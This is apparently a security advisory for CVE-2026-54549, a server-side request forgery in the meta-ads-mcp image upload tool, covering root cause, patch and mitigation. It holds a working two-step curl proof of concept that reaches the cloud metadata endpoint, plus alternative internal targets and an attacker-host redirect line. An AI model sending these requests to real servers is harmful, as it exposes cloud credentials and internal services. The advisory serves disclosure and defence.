CVE-2026-54549: meta-ads-mcp Server-Side Request Forgery in upload_ad_image
The meta-ads-mcp image upload tool fetches any URL an attacker supplies without checking whether it points to an internal or cloud metadata address, letting anyone with a dummy auth token pivot the se
The problem
The `upload_ad_image` MCP tool in meta-ads-mcp before 1.0.115 accepts an `image_url` parameter and passes it directly to `httpx.AsyncClient(follow_redirects=True).get(url)` across three separate fetch paths in `utils.py`, none of which validate the URL scheme, hostname, or IP address.
The Bearer-token middleware only checks that a token string is non-empty. Because the actual Meta OAuth check happens after the image download completes, any dummy token is enough to trigger the outbound fetch. An unauthenticated remote attacker can reach localhost services, RFC 1918 addresses, or cloud instance metadata endpoints such as `http://169.254.169.254/latest/meta-data/` when the server is deployed in `--transport streamable-http` mode.
Proof of concept
A working proof-of-concept for CVE-2026-54549 in meta-ads-mcp, with the exact payload below.
# Step 1: initialize the MCP session
curl -sS -X POST http://TARGET:8080/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Authorization: Bearer dummy-token' \
-d '{"jsonrpc":"2.0","method":"initialize","id":0,"params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
# Step 2: trigger SSRF -- replace image_url with any internal target
curl -sS -X POST http://TARGET:8080/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Authorization: Bearer dummy-token' \
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"id": 1,
"params": {
"name": "upload_ad_image",
"arguments": {
"account_id": "act_123456789",
"image_url": "http://169.254.169.254/latest/meta-data/"
}
}
}'
# Alternative targets:
# "image_url": "http://127.0.0.1:PORT/internal-endpoint"
# "image_url": "http://10.0.0.1/"
# "image_url": "http://ATTACKER.COM/redirect" (exploits follow_redirects=True)The root cause is CWE-918: no URL, scheme, host, or IP validation exists anywhere in the fetch path before `httpx.AsyncClient(follow_redirects=True).get(url)` fires. The three independent sinks in `utils.py` (lines 166, 214, and 224) all set `follow_redirects=True`, meaning a public-to-private redirect chain also works.
Because the authorization middleware (`http_auth_integration.py` lines 78-82) only checks for a non-empty Bearer value and the Meta API credential check in `api.py:415` runs only after the download, there is effectively zero authentication protecting the fetch.
The patch in commit `7d9926336bbdac` (released as 1.0.115) adds URL validation before the fetch, blocking private IP ranges, loopback addresses, link-local addresses (169.254.x.x), and non-HTTP schemes. This is the standard SSRF remediation: parse the resolved hostname with Python's `ipaddress` module and reject addresses that are not globally routable.
The fix
Upgrade `meta-ads-mcp` to version 1.0.115 or later (`pip install --upgrade meta-ads-mcp`). Version 1.0.115, released in commit `7d9926336bbdac6285a988d043c4ccfe126c94c5`, adds pre-fetch URL validation that blocks loopback, link-local, and RFC 1918 addresses. If you cannot upgrade immediately, restrict network egress on the host running the MCP server so it cannot reach internal services or cloud metadata endpoints.
Related research
- high · 7.4CVE-2026-54547CVE-2026-54547: meta-ads-mcp Authentication Bypass via X-Pipeboard-Token Header
- high · 7.7CVE-2026-54457CVE-2026-54457: TensorZero Gateway Arbitrary File Read and SSRF
- high · 7.1CVE-2026-55787CVE-2026-55787: flyto-core SSRF Guard Bypass via IPv6 Transition Addresses
- CRITICAL · 9.9CVE-2026-55166CVE-2026-55166: Lemur ACME SSRF + Creator IDOR leads to AWS IAM and PKI key compromise